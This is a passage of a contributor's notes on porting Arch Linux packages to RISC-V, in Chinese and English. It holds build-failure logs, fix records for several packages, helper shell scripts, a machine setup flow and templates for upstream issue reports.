/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPictureOperators_C.c.o -MF Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPictureOperators_C.c.o.d -o Source/Lib/C_DEFAULT/CMakeFiles/HEVC_C_DEFAULT.dir/EbPictureOperators_C.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbPictureOperators_C.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbPictureOperators_C.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT/EbPictureOperators_C.c:39:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[54/137] Building C object Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbTransforms_Intrinsic_SSE4_1.c.o
FAILED: Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbTransforms_Intrinsic_SSE4_1.c.o 
/usr/bin/cc  -I/build/svt-hevc/src/build/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbTransforms_Intrinsic_SSE4_1.c.o -MF Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbTransforms_Intrinsic_SSE4_1.c.o.d -o Source/Lib/ASM_SSE4_1/CMakeFiles/HEVC_ASM_SSE4_1.dir/EbTransforms_Intrinsic_SSE4_1.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1/EbTransforms_Intrinsic_SSE4_1.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1/EbTransforms_Intrinsic_SSE4_1.c:6:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[55/137] Building C object Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecResults.c.o
FAILED: Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecResults.c.o 
/usr/bin/cc -DSvtHevcEnc_EXPORTS -I/build/svt-hevc/src/build/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecResults.c.o -MF Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecResults.c.o.d -o Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecResults.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncDecResults.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncDecResults.c:7:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[56/137] Building C object Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecSegments.c.o
FAILED: Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecSegments.c.o 
/usr/bin/cc -DSvtHevcEnc_EXPORTS -I/build/svt-hevc/src/build/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecSegments.c.o -MF Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecSegments.c.o.d -o Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncDecSegments.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncDecSegments.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncDecSegments.h:9,
                 from /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncDecSegments.c:9:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
[57/137] Building ASM_NASM object Source/Lib/ASM_SSE2/CMakeFiles/HEVC_ASM_SSE2.dir/EbGatherSaoStatistics16bit_SSE2.asm.o
[58/137] Building C object Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncHandle.c.o
FAILED: Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncHandle.c.o 
/usr/bin/cc -DSvtHevcEnc_EXPORTS -I/build/svt-hevc/src/build/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec -I/build/svt-hevc/src/SVT-HEVC/Source/API -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/C_DEFAULT -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE2 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSSE3 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_SSE4_1 -I/build/svt-hevc/src/SVT-HEVC/Source/Lib/ASM_AVX2 -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions         -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security         -fstack-clash-protection -flto=auto -Wall -Wextra -Wformat -Wformat-security -fPIE -fPIC -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIC -std=gnu99 -MD -MT Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncHandle.c.o -MF Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncHandle.c.o.d -o Source/Lib/Codec/CMakeFiles/SvtHevcEnc.dir/EbEncHandle.c.o -c /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncHandle.c
In file included from /build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbEncHandle.c:18:
/build/svt-hevc/src/SVT-HEVC/Source/Lib/Codec/EbDefinitions.h:228:10: fatal error: immintrin.h: No such file or directory
  228 | #include <immintrin.h>
      |          ^~~~~~~~~~~~~
compilation terminated.
ninja: build stopped: subcommand failed.

grafana-agent

错误排查

报错消息

panic: Something in this program imports go4.org/unsafe/assume-no-moving-gc to declare that it assumes a non-moving garbage collector, but your version of go4.org/unsafe/assume-no-moving-gc hasn't been updated to assert that it's safe against the go1.19 runtime. If you want to risk it, run with environment variable ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.19 set. Notably, if go1.19 adds a moving garbage collector, this program is unsafe to use.

过程记录

  1. Google 一部分报错消息中的关键词（assume-no-moving-gc 等） ，但是没有什么作用。
  2. 在上游 Github Repository 中搜索相关报错信息，一个 Issue 进入视线，与报错信息一致。
  3. 阅读 Issue，发现上游已经通过一个 PR 进行修复，遂查看 PR。
  4. 将 PR 的链接加上 .patch 后缀，用 wget 进行下载保存，删去多余部分，打入 PKGBUILD。
  5. 编译构建，发现有一个 option（export GOPROXY=off）会导致编译失败，于是改成 on。
  6. 仍然失败，GOPROXY 开启时后面需要填入的不是 on，而是一个 scheme，因机器环境不一致，不一定能让代理生效，所以直接删去。
  7. 编译构建成功。

相关资料

思考

  • 从该包的修复中总结出了一个流程，详见工作。

system-config-printer

config.guess 错误。

解决方式同以往相同。之后出现的 bash 脚本错误（m4 宏未展开）处理方式，同 libopenraw 相同：添加 autoconf-archive 到 makedepends 解决。

fulcio(Learning)

前注

此包由其他人（芝麻/飞鸟）修复。因能力不足，向其解决方法学习。

原始报错信息

==> Starting check()...
go test ./...
fatal: not a git repository (or any of the parent directories): .git
fatal: not a git repository (or any of the parent directories): .git
?   	github.com/sigstore/fulcio	[no test files]
2022-08-12T19:36:25.288Z	INFO	app/grpc.go:103	listening on grpc at :::45993
2022-08-12T19:36:25.302Z	FATAL	app/http.go:56	parse "passthrough:///:0\x00\x00\x00\x00\x00\x00": net/url: invalid control character in URL
github.com/sigstore/fulcio/cmd/app.createHTTPServer
	github.com/sigstore/fulcio/cmd/app/http.go:56
github.com/sigstore/fulcio/cmd/app.setupHTTPServer
	github.com/sigstore/fulcio/cmd/app/http_test.go:61
github.com/sigstore/fulcio/cmd/app.TestHTTPCORSSupport
	github.com/sigstore/fulcio/cmd/app/http_test.go:71
testing.tRunner
	testing/testing.go:1446
FAIL	github.com/sigstore/fulcio/cmd/app	0.692s
?   	github.com/sigstore/fulcio/cmd/create_tink_keyset	[no test files]
?   	github.com/sigstore/fulcio/cmd/fetch_ca_cert	[no test files]
?   	github.com/sigstore/fulcio/examples/request-certificate	[no test files]
?   	github.com/sigstore/fulcio/federation	[no test files]
ok  	github.com/sigstore/fulcio/pkg/api	1.250s
ok  	github.com/sigstore/fulcio/pkg/ca	0.388s
ok  	github.com/sigstore/fulcio/pkg/ca/baseca	0.388s
ok  	github.com/sigstore/fulcio/pkg/ca/ephemeralca	0.351s
ok  	github.com/sigstore/fulcio/pkg/ca/fileca	5.856s
ok  	github.com/sigstore/fulcio/pkg/ca/googleca/v1	16.198s
ok  	github.com/sigstore/fulcio/pkg/ca/kmsca	0.541s
?   	github.com/sigstore/fulcio/pkg/ca/pkcs11ca	[no test files]
ok  	github.com/sigstore/fulcio/pkg/ca/tinkca	2.500s
ok  	github.com/sigstore/fulcio/pkg/challenges	2.999s
ok  	github.com/sigstore/fulcio/pkg/config	5.211s
ok  	github.com/sigstore/fulcio/pkg/ctl	0.205s
?   	github.com/sigstore/fulcio/pkg/generated/protobuf	[no test files]
?   	github.com/sigstore/fulcio/pkg/generated/protobuf/legacy	[no test files]
ok  	github.com/sigstore/fulcio/pkg/identity	0.206s
ok  	github.com/sigstore/fulcio/pkg/identity/email	0.359s
ok  	github.com/sigstore/fulcio/pkg/identity/github	0.264s
ok  	github.com/sigstore/fulcio/pkg/identity/kubernetes	0.256s
ok  	github.com/sigstore/fulcio/pkg/identity/spiffe	0.293s
ok  	github.com/sigstore/fulcio/pkg/identity/uri	0.269s
ok  	github.com/sigstore/fulcio/pkg/identity/username	0.267s
?   	github.com/sigstore/fulcio/pkg/log	[no test files]
ok  	github.com/sigstore/fulcio/pkg/oauthflow	0.210s
ok  	github.com/sigstore/fulcio/pkg/server	66.183s
?   	github.com/sigstore/fulcio/pkg/test	[no test files]
?   	github.com/sigstore/fulcio/test/prometheus	[no test files]
FAIL
make: *** [Makefile:91: test] Error 1

过程

  1. Log 定位 URL 规范问题
  2. 反推变量名，以及 listen host 有问题
    • 期间讨论，我说有个类似的报错，其另一个 repo 说是 Windows 行尾符 \r 残留，芝麻否定此可能
  3. 猜测 qemu-user 对此可能有处理问题，于是开发板编译
  4. 编译成功
  5. bash -i debug 找出最终原因： qemu-user 对 go 的 strings.Replace 方法处理有问题
  6. 加 blacklist 和 noqemu，找最小复现
  7. 目前最小复现没有给出
    • 但是找出了一个解决方案：flush stdout 可以解决问题，原因不明

libgovirt(Learning)

前注

此包由其他人（Asuna）修复。因能力不足，向其解决方法学习。

原始报错信息

FAILED: govirt/libgovirt.so.2.3.1.p/ovirt-utils.c.o 
cc -Igovirt/libgovirt.so.2.3.1.p -Igovirt -I../libgovirt/govirt -I. -I../libgovirt -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -I/usr/include/sysprof-4 -I/usr/include/libmount -I/usr/include/blkid -I/usr/include/rest-1.0 -I/usr/include/libsoup-3.0 -I/usr/include/libxml2 -I/usr/include/json-glib-1.0 -fdiagnostics-color=always -D_FILE_OFFSET_BITS=64 -Wall -Winvalid-pch -O0 -g -std=c99 '-DG_LOG_DOMAIN="libgovirt"' -DGLIB_VERSION_MIN_REQUIRED=GLIB_VERSION_2_66 -DGLIB_VERSION_MAX_ALLOWED=GLIB_VERSION_2_66 -Wall -Wextra -Werror -Wcast-align -Wmissing-declarations -Wpointer-arith -Wcast-align -Wwrite-strings -Winit-self -Wreturn-type -Wformat-nonliteral -Wformat-security -Wmissing-include-dirs -Wmissing-format-attribute -Wclobbered -Wempty-body -Wignored-qualifiers -Wsign-compare -Wtype-limits -Wuninitialized -Waggregate-return -Wdeclaration-after-statement -Wshadow -Wno-strict-aliasing -Winline -Wmissing-parameter-type -Woverride-init -Wno-unused-parameter -march=rv64gc -mabi=lp64d -O2 -pipe -fexceptions -Wp,-D_FORTIFY_SOURCE=2 -Wformat -Werror=format-security -fstack-clash-protection -flto=auto -fPIC -pthread -MD -MQ govirt/libgovirt.so.2.3.1.p/ovirt-utils.c.o -MF govirt/libgovirt.so.2.3.1.p/ovirt-utils.c.o.d -o govirt/libgovirt.so.2.3.1.p/ovirt-utils.c.o -c ../libgovirt/govirt/ovirt-utils.c
../libgovirt/govirt/ovirt-utils.c: In function ‘ovirt_rest_xml_node_get_str_array_from_path’:
../libgovirt/govirt/ovirt-utils.c:137:12: error: cast increases required alignment of target type [-Werror=cast-align]
  137 |     return (GStrv) g_array_free(array, FALSE);
      |            ^
cc1: all warnings being treated as errors

过程

  1. 自己找了很久有关 error: cast increases required alignment of target type [-Werror=cast-align] 错误的解决方案，似乎都没有切中要点，毫无头绪，遂放弃
  2. 知道此错误有关强制类型转换的对齐，注意到了最后的 flag，但觉得没什么用
  3. 软件包被修复后，查看 Files Changed，修复者打了一个 patch
  4. patch 有关 gcc 的 flag，可以将 [-Werror=cast-align] 这种严苛标准，更换为 '-Wno-error=cast-align' 宽松标准
    • 可能需要查看 gcc 相关的 flags 文档
  5. 至此明白，但是不清楚此改动是否合理

distrobuilder

错误排查

原始报错信息

# github.com/lxc/lxd/shared
In file included from vendor/github.com/lxc/lxd/shared/util_linux_cgo.go:37:
./../lxd/include/syscall_wrappers.h:30:19: error: static declaration of 'open_tree' follows non-static declaration
   30 | static inline int open_tree(int dfd, const char *filename, unsigned int flags)
      |                   ^~~~~~~~~
In file included from ./../lxd/include/macro.h:33,
                 from ./../lxd/include/memory_utils.h:11,
                 from ./../lxd/include/process_utils.h:18,
                 from vendor/github.com/lxc/lxd/shared/util_linux_cgo.go:36:
/usr/include/sys/mount.h:253:12: note: previous declaration of 'open_tree' with type 'int(int,  const char *, unsigned int)'
  253 | extern int open_tree (int __dfd, const char *__filename, unsigned int __flags)
      |            ^~~~~~~~~
./../lxd/include/syscall_wrappers.h:45:19: error: conflicting types for 'mount_setattr'; have 'int(int,  const char *, unsigned int,  struct lxc_mount_attr *, size_t)' {aka 'int(int,  const char *, unsigned int,  struct lxc_mount_attr *, long unsigned int)'}
   45 | static inline int mount_setattr(int dfd, const char *path, unsigned int flags,
      |                   ^~~~~~~~~~~~~
/usr/include/sys/mount.h:261:12: note: previous declaration of 'mount_setattr' with type 'int(int,  const char *, unsigned int,  struct mount_attr *, size_t)' {aka 'int(int,  const char *, unsigned int,  struct mount_attr *, long unsigned int)'}
  261 | extern int mount_setattr (int __dfd, const char *__path, unsigned int __flags,
      |            ^~~~~~~~~~~~~
./../lxd/include/syscall_wrappers.h:51:19: error: static declaration of 'move_mount' follows non-static declaration
   51 | static inline int move_mount(int from_dfd, const char *from_pathname, int to_dfd,
      |                   ^~~~~~~~~~
/usr/include/sys/mount.h:239:12: note: previous declaration of 'move_mount' with type 'int(int,  const char *, int,  const char *, unsigned int)'
  239 | extern int move_mount (int __from_dfd, const char *__from_pathname,
      |            ^~~~~~~~~~
github.com/mudler/docker-companion/api
==> ERROR: A failure occurred in build().
    Aborting...
==> ERROR: Build failed, check /var/lib/archbuild/extra-riscv64/felix3/build

定位错误

error: static declaration of 'open_tree' follows non-static declaration.

过程

  1. 从 distrobuilder 上游 repo 寻找解决方案无果。
  2. Google 相关报错信息，部分 Forum 说是 qemu-user 的问题，遂在板子上跑一遍，出现同样问题，排除。
  3. 因第一级上游找不到解决方案，于是回查 error log，定位错误模块 lxd（原始报错信息第一行）。
  4. 第二级上游 lxd repo 的 issue 和 pr 中有相关错误的解决方案，但是日期有新有旧，而且每个 pr 更改的文件太多，完全不符合 distrobuilder 里文件的目录结构，pr 有很多后者没有的文件。
  5. 尝试采取最新的 pr，拉取 patch，然后 remove 所有缺失文件的修改。
  6. 编译构建，成功。

总结

这个包排查挺辛苦，遇到很多问题，幸好最后都解决了，也去尝试了。

Appendix

Pull Request Description(Original Version)

Tough work. Build passed.

### TL;DR

1. Trace the module which is really crashed: `lxd`.
2. Download the PR, and make it to patch.
3. Modify the patch by myself.
4. Find the strange but truely correct path in this repo, then patch it.
5. This PR.

<details>

<summary>### Fix Processing</summary>

1. I tried to find some meaningful help in this repo's upstream according to the log. But I found nothing.

    However, I found someone in `google` saying that `qemu-user` possibly led this fault.

    Then I tried on `RISC-V` board, it occurred the same error as running in `qemu-user`.

2. I tracing the original place of error occurring, it has a comment in one line that points at repo's URL link. The repo is `lxd`, a dependency that `distrobuilder` relies on.

    Follow the link, then search the error message, finally, I find one pull request. I have no idea about whether it is truly helpful because the `Files changed` has too much.

    The problem is the `lxd` that `distrobuilder` truly relies on has only little files, futhermore, it is put at `vendor/github.com/lxd`. I reasonably doubt that the `distrobuilder` uses a minimal, mirrored release (Maybe it's a release, god knows) of `lxd`.

3. I make the `Files changed` of `lxd` to a patch, then delete the exceeded and needless change, further, patch to the strange path.

4. It works.

5. But I really don't know whether my modification of this package is justified or not, and also don't know if there is some files in this repo that should be altered but haven't.

    If my modification is a confusing management, please tell me how I can fix it in a correct way.

</details>

### Notice

The patch file is altered by TinySnow.
Patch from origin upstream doesn't work.

<details>
<summary>### Perhaps Useful Links</summary>
- `lxd` issue: https://github.com/lxc/lxd/issues/10738

- `lxd` PR: https://github.com/lxc/lxd/pull/10756
</details>

Pull Request Description(Modified Version)

Tough work. Build passed.

1. The `fix-static-declaration-of-lxd` patch is from the upstream of `lxd`, which is really crashed in `distrobuilder` building proeessing.
2. Delete the exceeded and needless change in upstream's patch.
  _i.e._ `lxd/main_checkfeature.go`(In `distrobuilder`, this file doesn't exist.)
3. Patch and this PR.

### Notice

The patch file is altered by TinySnow.
Patch from origin upstream doesn't work.

### Perhaps Useful Links

- `lxd` issue: https://github.com/lxc/lxd/issues/10738
- `lxd` PR: https://github.com/lxc/lxd/pull/10756

Frequently Used

机器连接

详见 Important.

常用命令

extra-riscv64-build -- -d "$CACHE_DIR:/var/cache/pacman/pkg" -l tinysnow_2

arch-nspawn /var/lib/archbuild/extra-riscv64/tinysnow

git diff --no-index ${before_modified} ${after_modified} > ${patch_name}.patch

cp /var/lib/archbuild/extra-riscv64/tinysnow/build/${pkgname}/src/${some_path}/${patch_name}.patch

.bashrc

# append
export CACHE_DIR="/home/tinysnow/cache"
# 这里按环境配置可以替换成任意空文件夹
alias rv64build="updpkgsums && extra-riscv64-build -- -d $CACHE_DIR:/var/cache/pacman/pkg"
alias nohuprv64build="updpkgsums && nohup extra-riscv64-build -- -d $CACHE_DIR:/var/cache/pacman/pkg &"
# alias 可以随便改
alias prep=". ~/.bin/prepare.sh"
alias gib=". ~/.bin/gib.sh"

Gib.sh

#!/usr/bin/bash -e

[ $# -eq 0 ] && echo "You need to provide a package name." && exit 1 

cd ~/archpkgs

asp update
asp checkout "$1" || true

cd ./"$1"/repos/*-x86_64

# 将第一个 x86_64（`arch=(x86_64)`）换成 riscv64 并保留格式，如果 arch 是 any 则不改
setconf PKGBUILD arch "('x86_64' 'riscv64')"

. /usr/share/makepkg/util.sh
. ./PKGBUILD
for key in "${validpgpkeys[@]}"; do
    echo "Receiving key ${key}..."
    # try both servers as some keys exist one place and others another
    # we also want to always try to receive keys to pick up any update
    gpg --keyserver hkps://keyserver.ubuntu.com --recv-keys "$key" || true
    gpg --keyserver hkps://keys.openpgp.org --recv-keys "$key" || true
done

colorize

is_array source && \
    printf "${RED}source = ${ALL_OFF}%s\n" "${source[@]}" # 方便检查源码是 .tar.*z 还是 git+，可以删掉
is_array _commit && \
    printf "${RED}_commit = ${ALL_OFF}%s\n" "${_commit[@]}"

asp untrack "$1"

Prepare.sh

#!/usr/bin/bash

if [ $# -eq 0 ]
  then
    echo "You need to provide a PKGBUILD file, or a directory that contains a PKGBUILD file."
  else

cd "$(dirname "$1")"

PREPARE_SRC_DIR=$(pwd)

updpkgsums

if [ $? -eq 0 ]
 then

setconf PKGBUILD arch "('x86_64')"  # 把 arch 换回去

git diff --no-prefix --relative ./PKGBUILD | tail -n +3 > ./riscv64.patch  # 去掉 git diff 生成的 header，确保 patch 干净
cat ./riscv64.patch  # 给你看看 diff 长啥样

cd ../..
fname=$(basename "$PWD")  # 拿到包名
cd ./repos/*-x86_64

mkdir ~/prepare_tmp_dir
cp ./riscv64.patch ~/prepare_tmp_dir/
cd ~/archriscv-packages

echo "Pulling from upstream (Fast-Forwarding)..."

git checkout master
git pull --ff-only upstream master:master
# make sure origin is up-to-date
git push
git checkout -b "$fname" || git checkout "$fname"
mkdir "$fname"
cd "$fname"

TARGET_DIR=$(pwd)

mv ~/prepare_tmp_dir/riscv64.patch .
rmdir ~/prepare_tmp_dir

echo "Done. Now you can do:"
echo ""
echo "# first, copy necessary patches to this dir:"

cd $PREPARE_SRC_DIR
# Yes, I'm a shell magician
find ~+ -type f -name "*.patch" | sed -e "s|$HOME|~|g" | awk -F " " '{print "  cp " $1 " ."}'
cd $TARGET_DIR

echo ""
echo "# then:"
echo "  git add ."
echo "  git commit -m \"addpkg: $fname\""
echo "  git push -u origin $fname"
echo ""

  fi  # if [ $? -eq 0 ] ends here
fi  # if [ $# -eq 0 ] ends here

新机器 Flow

  1. 换源（不是国内机器则跳过）

    • 更新源
    • 更新软件包或滚包（Arch 系列）

  2. 下载 proxychains 代理（如果没有网络业障则跳过）

    • 配置 proxychains

  3. 更新 dotfiles

# 推荐 MIT 老师 Anish 的 dotfiles 一键配置
cd ~
# 如果是 WSL2，先要打开代理软件的 Allow LAN
proxychains git clone https://github.com/anishathalye/dotfiles
cd dotfiles && proxychains ./install
  1. 半自动 bash script
git config --global user.name "TinySnow"
git config --global user.email "lo.tinysnow.ol@outlook.com"

# 消除 `-bash: hostname: command not found` 提示
sudo pacman -S inetutils

cd ~
rm -rf .bashrc .bash_profile
git clone https://github.com/anishathalye/dotfiles.git && cd dotfiles
./install

cd ~
echo -e '\n# append
export CACHE_DIR="/home/tinysnow/cache"
# 这里按环境配置可以替换成任意空文件夹
alias rv64build="updpkgsums && extra-riscv64-build -- -d $CACHE_DIR:/var/cache/pacman/pkg"
alias nohuprv64build="updpkgsums && nohup extra-riscv64-build -- -d $CACHE_DIR:/var/cache/pacman/pkg &"
# alias 可以随便改
alias prep=". ~/.bin/prepare.sh"
alias gib=". ~/.bin/gib.sh"' >> ~/.bashrc

cd ~
mkdir ~/.bin
touch ~/.bin/prepare.sh
touch ~/.bin/gib.sh
chmod +x ~/.bin/*.sh
mkdir ~/archpkgs
mkdir ~/cache

# 以下手动操作
vim ~/.bin/gib.sh
vim ~/.bin/prepare.sh
# 添加 ssh 私钥
vim ~/.ssh/id_rsa
# 更改私钥的权限
chmod 700 ~/.ssh/id_rsa

cd ~
git clone git@github.com:TinySnow/archriscv-packages.git
cd archriscv-packages
git remote add upstream https://github.com/felixonmars/archriscv-packages.git
cd -

IssueTemplate

Issue

Hello, I'm from ArchRISC-V Team, a community porting Arch Linux software to RISC-V architecture.

Porting records

First attempt

Description

While packaging libopenraw, we found an error.

Error information
checking build system type... ./config.guess: unable to guess system type
This script, last modified 2009-11-20, has failed to recognize
the operating system you are using. It is advised that you
download the most up to date version of the config scripts from
  http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.guess;hb=HEAD
and
  http://git.savannah.gnu.org/gitweb/?p=config.git;a=blob_plain;f=config.sub;hb=HEAD
If the version you run (./config.guess) is already up to date, please
send the following data and any information you think might be
pertinent to <config-patches@gnu.org> in order to provide the needed
information to handle your system.

config.guess timestamp = 2009-11-20

uname -m = riscv64
uname -r = 5.18.7-arch1-1
uname -s = Linux
uname -v = #1 SMP PREEMPT_DYNAMIC Sat, 25 Jun 2022 20:22:01 +0000

/usr/bin/uname -p = unknown
/bin/uname -X     =

hostinfo               =
/bin/universe          =
/usr/bin/arch -k       =
/bin/arch              =
/usr/bin/oslevel       =
/usr/convex/getsysinfo =

UNAME_MACHINE = riscv64
UNAME_RELEASE = 5.18.7-arch1-1
UNAME_SYSTEM  = Linux
UNAME_VERSION = #1 SMP PREEMPT_DYNAMIC Sat, 25 Jun 2022 20:22:01 +0000
configure: error: cannot guess build type; you must specify one
Solved
  • Added autoreconf in the prepare() function in the PKGBUILD. Here is the code:
autoupdate
autoreconf -fiv

Second attempt

Description

Then we got a second error, and it is a bash script syntax error:

Error information
checking whether the g++ linker (/usr/bin/ld -m elf_x86_64) supports shared libraries... yes
checking dynamic linker characteristics... (cached) GNU/Linux ld.so
checking how to hardcode library paths into programs... immediate
./configure: line 17110: syntax error near unexpected token `noext,mandatory'
./configure: line 17110: `AX_CXX_COMPILE_STDCXX_14(noext,mandatory)'
Solved
  • looking up some docs, know that this is a error about m4 file, which is complaining the macro AX_CXX_COMPILE_STDCXX_14 not defined.(in other words, is complaining the macro source file is not found.)
  • Downloaded the m4 macros and patched it into source.

Third attempt

Description

After passing line 17110, we got the third error.

It seemed the same as the second.

Error information
./configure: line 19399: syntax error near unexpected token \`-fvisibility=hidden'
./configure: line 19399: `AX_APPEND_COMPILE_FLAGS(-fvisibility=hidden)'
Unsolved
  • We not solve this error, because we are strange about the similar error: second and third. Looking for some docs, found that it probably was a BUG of low version autotools. Because our team member encountered the same problem when porting a package called imagescan.
  • So our team gives this advice.

Advice

  • Please consider updating the configure script tools(Especially config.guess file). As part of our duty, we do suggest our upstreams doing this once and for all instead.

  • We are searching ways to solve the trouble caused by autotools bug. If upstream makes configure tools updated, please leave a comment to notify us and out team will try to port it again to find out whether low version of autotools makes it failed or not.

  • If upstream wants to reproduce this libopenraw issue, please follow this doc.

Sincerely thanks.

:)

Email

Hello, I'm from ArchRISC-V Team, a community porting Arch Linux software to RISC-V architecture.

Description

  • While packaging httrack, we found an error.

(This link is the log about building processing our lord maintained.)

  • The config.guess file is too old to work.

  • So our team gives this advice.

Advice

  • You can find the patch here that how we fix it.

  • Or just see the patch below.(in ArchLinux PKGBUILD file):

Some Diff
  • Please consider updating the configure script tools (Especially config.guess file). As part of our duty, we do suggest our upstreams doing this once and for all instead.

Sincerely thanks. :)

Arch Linux RISC-V Team,

TinySnow

Workflow

一、前注

  • 本教程是对 Arch 小队现有文档的整合。面向新人。
  • 如果教程中命令有输出展示，会有 #--output--# 相关字眼提醒。
